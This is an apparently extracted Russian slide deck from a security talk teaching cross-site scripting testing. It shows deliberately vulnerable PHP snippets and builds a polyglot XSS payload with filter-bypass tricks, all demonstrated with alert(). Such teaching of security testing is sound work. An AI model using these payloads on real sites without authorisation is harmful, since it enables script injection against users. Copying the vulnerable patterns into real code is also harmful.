XSSни свой продукт продвинутое тестирование безопасности

XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в браузере жертвы в контексте вашего сайта

"></title></script><script>alert()</script> + </style></noscript></textarea>…(по ситуации)

'"></title></script><script>alert()</script>

XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245

'"></title></script><iframe onload='alert``'>

Плюсы iframe: 1. Легко заметить, если пейлоад встраивается в страницу, но на

Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! <iframe/onload='alert()' Есть кейс, когда

From: '"></title></script><iframe onload='alert``'> to: '"></title/</script/</style/--><iframe/onload='alert``'

XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/...

Обрезали все, что подходит под паттерн "<…>" Но незакрытый тэг нормализуется всеми современными браузерами в закрытый!

3.97M

Category:

programming

XSS (Cross-Site Scripting)

1. XSSни свой продукт продвинутое тестирование безопасности

XSSни свой продукт
продвинутое тестирование безопасности
Иван Румак
Занимаюсь безопасностью

2. Программа

Поговорим про XSS
Создадим универсальный пейлоад для поиска XSS
Завтра - призы и разбор заданий

3. Нафига?

4. XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в браузере жертвы в контексте вашего сайта

XSS (Cross-Site Scripting) это когда хакер может выполнить
произвольный javascript в браузере
жертвы в контексте вашего сайта

5. XSS - причины

1. при генерации html-страницы, когда в код подтягиваются:
• любые данные из БД, ранее указанные пользователем - stored XSS
• параметры из урла/тела запроса - reflected XSS
• значения http заголовков, куки - нужен mitm или другой баг (не
сегодня)
2. при изменении страницы джаваскриптом (про это в другой
раз):
• postMessage
• InnerHTML, $().html(), document.write
• location.hash...

6. XSS - методология

1. пейлоад во все поля/параметры
2. рано или поздно выполнится alert()

7.

8. 9. F12 -> Ctrl+F -> "qweqwe"

F12 -> Ctrl+F -> "qweqwe"

10.

11. 12. <script>alert()</script>

13. XSS – Level 0

14.

<p>
Привет, <?php echo($_GET["name"]); ?>!
<p>
XSS: между тэгами разметки

15.

/page.php?name=<script>alert()</script>
<p>
Привет, <script>alert()</script>!
<p>
XSS: между тэгами разметки

16.

<p>
Привет, <?php $sql=…; echo($sql); ?>!
<p>
XSS: между тэгами разметки

17.

<p>
Привет, Вася<script>alert()</script>!
<p>
XSS: между тэгами разметки

18.

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: внутри значения аттрибута

19.

/page.php?name="><script>alert()</script>
<form action="page.php" method="POST">
<input name="name" value=""><script>alert()</script>">!
</form>
XSS: внутри значения аттрибута

20. "><script>alert()</script>

"><script>alert()</script>

21. XSS – Level 1

22.

<html>
<head>
<title>Привет, <?php echo($_GET["name"]); ?></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

23.

/page.php?name="><script>alert()</script>
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

24.

/page.php?name="><script>alert()</script>
Сработает?
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

25.

/page.php?name="><script>alert()</script>
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
НЕТ!

26.

/page.php?name="></title><script>alert()</script>
<html>
<head>
<title>Привет,"></title><script>alert()</script>
</title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

27. "></title><script>alert()</script>

"></title><script>alert()</script>

28.

29.

/page.php?name="></title><script>alert()</script>
<script>
var name=""></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов

30.

/page.php?name="></script></title><script>alert()</script>
<script>
var name=""></script></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов

31. "></title></script><script>alert()</script> + </style></noscript></textarea>…(по ситуации)

"></title></script><script>alert()</script>
+ </style></noscript></textarea>…(по
ситуации)

32. XSS – Level 2

33.

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: особенности HTML

34.

<form action='page.php' method='POST'>
<input name='name' value='<?php echo($_GET["name"]); ?>'>!
</form>
XSS: особенности HTML

35. '"></title></script><script>alert()</script>

'"></title></script><script>alert()</script>

36.

<form action='page.php' method='POST'>
<input name='name' value='<%..UrlParam("name").replaceAll(">",">")..%>'>!
</form>
XSS: внутри значения аттрибута

37.

/page.php?name='><script>alert()</script>
<form action='page.php' method='POST'>
<input name='name' value=''><script>alert()</script>'>!
</form>
XSS: внутри значения аттрибута

38.

/page.php?name='%20autofocus%20onfocus='alert();
<form action='page.php' method='POST'>
<input name='name' value='' autofocus onfocus='alert();'>!
</form>
(autofocus onfocus не будут работать если у инпута type=hidden)
XSS: внутри значения аттрибута

39.

40.

/page.php?name=";+alert();//
<script>
var name=""; alert();//";
</script>
XSS: внутри тэга script

41.

<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>
XSS: внутри ссылки

42.

/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки

43.

/page.php?returnUrl=%20javascript:alert()
Сработает?
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки

44.

/page.php?returnUrl=%20javascript:alert()
ДА!
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки

45.

/page.php?returnUrl=%09javascript:alert()
<a href="
javascript:alert()">Вернуться</a>
XSS: внутри ссылки

46. XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245

XSS на biz.mail.ru
Bounty – 500$
https://hackerone.com/reports/268245

47.

48.

49.

50.

/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки

51. XSS – Level 3

52. '"></title></script><script>alert()</script>

'"></title></script><script>alert()</script>

53. '"></title></script><script>alert()</script>

'"></title></script><script>alert()</script>

54. '"></title></script><iframe onload='alert``'>

'"></title></script><iframe onload='alert``'>

55. 56. Плюсы iframe: 1. Легко заметить, если пейлоад встраивается в страницу, но на

Плюсы iframe:
1. Легко заметить, если пейлоад встраивается в страницу, но
на onload работают санитайзеры
2. Есть волшебный аттрибут srcdoc

57.

58. 59. XSS – Level 1337

XSS – Level 1337

60. Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! <iframe/onload='alert()' Есть кейс, когда

Пробелы между аттрибутами в тэге могут замениться слэшем
Тэг необязательно закрывать! <iframe/onload='alert()'
Есть кейс, когда пейлоад попадает между комментом ,
нужно закрывать и его

61. From: '"></title></script><iframe onload='alert``'> to: '"></title/</script/</style/--><iframe/onload='alert``'

From:
'"></title></script><iframe onload='alert``'>
to:
'"></title/</script/</style/--><iframe/onload='alert``'

62. XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/...

XSS в личных сообщениях на ...
Bounty – 3000$
https://hackerone.com/reports/...

63. Обрезали все, что подходит под паттерн "<…>" Но незакрытый тэг нормализуется всеми современными браузерами в закрытый!

Обрезали все, что подходит под паттерн "<…>"
Но незакрытый тэг нормализуется всеми современными
браузерами в закрытый!

64.

XSS (Cross-Site Scripting)

1. XSSни свой продукт продвинутое тестирование безопасности

2. Программа

3. Нафига?

4. XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в браузере жертвы в контексте вашего сайта

5. XSS - причины

6. XSS - методология

9. F12 -> Ctrl+F -> "qweqwe"

12. <script>alert()</script>

13. XSS – Level 0

20. "><script>alert()</script>

21. XSS – Level 1

27. "></title><script>alert()</script>

31. "></title></script><script>alert()</script> + </style></noscript></textarea>…(по ситуации)

32. XSS – Level 2

35. '"></title></script><script>alert()</script>

46. XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245

51. XSS – Level 3

52. '"></title></script><script>alert()</script>

53. '"></title></script><script>alert()</script>

54. '"></title></script><iframe onload='alert``'>

56. Плюсы iframe: 1. Легко заметить, если пейлоад встраивается в страницу, но на

59. XSS – Level 1337

60. Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! <iframe/onload='alert()' Есть кейс, когда

61. From: '"></title></script><iframe onload='alert``'> to: '"></title/</script/</style/--><iframe/onload='alert``'

62. XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/...

63. Обрезали все, что подходит под паттерн "<…>" Но незакрытый тэг нормализуется всеми современными браузерами в закрытый!

65. + Bonus